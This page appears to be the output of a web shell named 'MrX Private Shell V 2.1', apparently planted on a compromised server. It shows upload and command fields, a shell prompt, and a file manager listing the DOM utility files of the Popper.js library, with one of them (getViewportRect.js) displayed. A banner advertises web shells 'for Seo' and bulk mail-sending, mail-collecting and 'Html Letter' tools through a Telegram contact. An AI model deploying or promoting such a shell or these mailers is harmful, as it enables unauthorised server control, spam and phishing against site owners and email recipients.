__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import getWindow from "./getWindow.js";
import getDocumentElement from "./getDocumentElement.js";
import getWindowScrollBarX from "./getWindowScrollBarX.js";
export default function getViewportRect(element) {
  var win = getWindow(element);
  var html = getDocumentElement(element);
  var visualViewport = win.visualViewport;
  var width = html.clientWidth;
  var height = html.clientHeight;
  var x = 0;
  var y = 0;

  // NB: This isn't supported on iOS <= 12. If the keyboard is open, the popper
  // can be obscured underneath it.
  // Also, `html.clientHeight` adds the bottom bar height in Safari iOS, even
  // if it isn't open, so if this isn't available, the popper will be detected
  // to overflow the bottom of the screen too early.
  if (visualViewport) {
    width = visualViewport.width;
    height = visualViewport.height;

    // Uses Layout Viewport (like Chrome; Safari does not currently)
    // In Chrome, it returns a value very close to 0 (+/-) but contains rounding
    // errors due to floating point numbers, so we need to check precision.
    // Safari returns a number <= 0, usually < -1 when pinch-zoomed

    // Feature detection fails in mobile emulation mode in Chrome.
    // Math.abs(win.innerWidth / visualViewport.scale - visualViewport.width) <
    // 0.001
    // Fallback here: "Not Safari" userAgent
    if (!/^((?!chrome|android).)*safari/i.test(navigator.userAgent)) {
      x = visualViewport.offsetLeft;
      y = visualViewport.offsetTop;
    }
  }
  return {
    width: width,
    height: height,
    x: x + getWindowScrollBarX(element),
    y: y
  };
}

Filemanager

Name Type Size Permission Actions
contains.d.ts File 76 B 0644
contains.js File 669 B 0644
getBoundingClientRect.d.ts File 217 B 0644
getBoundingClientRect.js File 1006 B 0644
getClippingRect.d.ts File 283 B 0644
getClippingRect.js File 3.22 KB 0644
getCompositeRect.d.ts File 212 B 0644
getCompositeRect.js File 2.01 KB 0644
getComputedStyle.d.ts File 81 B 0644
getComputedStyle.js File 148 B 0644
getDocumentElement.d.ts File 124 B 0644
getDocumentElement.js File 313 B 0644
getDocumentRect.d.ts File 107 B 0644
getDocumentRect.js File 1.19 KB 0644
getHTMLElementScroll.d.ts File 120 B 0644
getHTMLElementScroll.js File 142 B 0644
getLayoutRect.d.ts File 105 B 0644
getLayoutRect.js File 765 B 0644
getNodeName.d.ts File 149 B 0644
getNodeName.js File 114 B 0644
getNodeScroll.d.ts File 146 B 0644
getNodeScroll.js File 396 B 0644
getOffsetParent.d.ts File 64 B 0644
getOffsetParent.js File 2.45 KB 0644
getParentNode.d.ts File 73 B 0644
getParentNode.js File 774 B 0644
getScrollParent.d.ts File 66 B 0644
getScrollParent.js File 544 B 0644
getViewportRect.d.ts File 217 B 0644
getViewportRect.js File 1.56 KB 0644
getWindow.d.ts File 51 B 0644
getWindow.js File 271 B 0644
getWindowScroll.d.ts File 148 B 0644
getWindowScroll.js File 258 B 0644
getWindowScrollBarX.d.ts File 71 B 0644
getWindowScrollBarX.js File 721 B 0644
instanceOf.d.ts File 214 B 0644
instanceOf.js File 616 B 0644
isScrollParent.d.ts File 71 B 0644
isScrollParent.js File 433 B 0644
isTableElement.d.ts File 67 B 0644
isTableElement.js File 162 B 0644
listScrollParents.d.ts File 188 B 0644
listScrollParents.js File 1.15 KB 0644
Filemanager